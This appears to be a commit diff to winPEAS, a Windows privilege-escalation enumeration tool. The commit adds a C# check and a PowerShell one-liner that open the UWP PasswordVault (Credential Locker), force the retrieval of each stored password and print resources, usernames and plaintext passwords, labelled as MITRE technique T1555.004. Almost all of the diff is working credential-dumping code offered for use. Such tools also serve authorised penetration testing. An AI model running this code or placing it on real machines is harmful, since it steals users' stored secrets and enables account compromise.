feat(windows lpe): add UWP PasswordVault credential locker method (#667)

* Adds a new section executing the extraction of credentials from the modern Universal Windows Platform (UWP) PasswordVault / Credential Locker.

* Fixed PrintUWPPasswordVault()

winPEAS/winPEASexe/winPEAS/Checks/WindowsCreds.cs

@@ -29,6 +29,7 @@ namespace winPEAS.Checks
             {
                 PrintVaultCreds,
                 PrintCredentialManager,
+                PrintUWPPasswordVault,
                 PrintSavedRDPInfo,
                 PrintRDPSettings,
                 PrintRecentRunCommands,
@@ -111,6 +112,76 @@ namespace winPEAS.Checks
             }
         }
 
+        private static void PrintUWPPasswordVault()
+        {
+            try
+            {
+                Beaprint.MainPrint("Checking UWP PasswordVault / Credential Locker", "T1555.004");
+                Beaprint.LinkPrint("https://hacktricks.wiki");
+
+                var colorsC = new Dictionary<string, string>()
+        {
+            { "Resource.*|UserName.*|Password.*", Beaprint.ansi_color_bad },
+        };
+
+                Type vaultType = Type.GetType("Windows.Security.Credentials.PasswordVault, Windows, ContentType=WindowsRuntime");
+                if (vaultType == null)
+                {
+                    Beaprint.PrintException("Could not load WindowsRuntime PasswordVault type. Ensure you are running on Windows.");
+                    return;
+                }
+
+                object vaultInstance = Activator.CreateInstance(vaultType);
+                var retrieveAllMethod = vaultType.GetMethod("RetrieveAll");
+                var credentialsList = retrieveAllMethod.Invoke(vaultInstance, null) as System.Collections.IEnumerable;
+
+                if (credentialsList == null)
+                {
+                    Beaprint.AnsiPrint("    [-] No UWP credentials found in the locker.\n", colorsC);
+                    return;
+                }
+
+                int count = 0;
+                foreach (object credential in credentialsList)
+                {
+                    count++;
+                    try
+                    {
+                        Type credType = credential.GetType();
+                        var retrievePasswordMethod = credType.GetMethod("RetrievePassword");
+                        retrievePasswordMethod.Invoke(credential, null);
+
+                        string resource = credType.GetProperty("Resource")?.GetValue(credential)?.ToString() ?? "";
+                        string userName = credType.GetProperty("UserName")?.GetValue(credential)?.ToString() ?? "";
+                        string password = credType.GetProperty("Password")?.GetValue(credential)?.ToString() ?? "";
+
+                        var credData = new Dictionary<string, string>
+                {
+                    { "Resource", resource },
+                    { "UserName", userName },
+                    { "Password", password }
+                };
+
+                        Beaprint.DictPrint(credData, colorsC, true, true);
+                        Beaprint.PrintLineSeparator();
+                    }
+                    catch (Exception)
+                    {
+                        continue;
+                    }
+                }
+
+                if (count == 0)
+                {
+                    Beaprint.AnsiPrint("    [-] No UWP credentials found in the locker.\n", colorsC);
+                }
+            }
+            catch (Exception ex)
+            {
+                Beaprint.PrintException(ex.Message);
+            }
+        }
+
         static void PrintSavedRDPInfo()
         {
             try

winPEAS/winPEASps1/winPEAS.ps1

@@ -1776,6 +1776,12 @@ Write-Host -ForegroundColor Blue "=========|| Cached Credentials Check"
 Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#windows-vault" -ForegroundColor Yellow 
 cmdkey.exe /list
 
+# Check for UWP PasswordVault / Credential Locker Check
+Write-Host ""
+if ($TimeStamp) { TimeElapsed }
+Write-Host -ForegroundColor Blue "=========|| UWP PasswordVault / Credential Locker Check"
+Write-Host "https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#uwp-passwordvault--credential-locker" -ForegroundColor Yellow 
+[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]; $v = New-Object Windows.Security.Credentials.PasswordVault; $v.RetrieveAll() | ForEach-Object { try { $_.RetrievePassword(); $_ } catch {} } | Select-Object Resource, UserName, Password | Format-List
 
 Write-Host ""
 if ($TimeStamp) { TimeElapsed }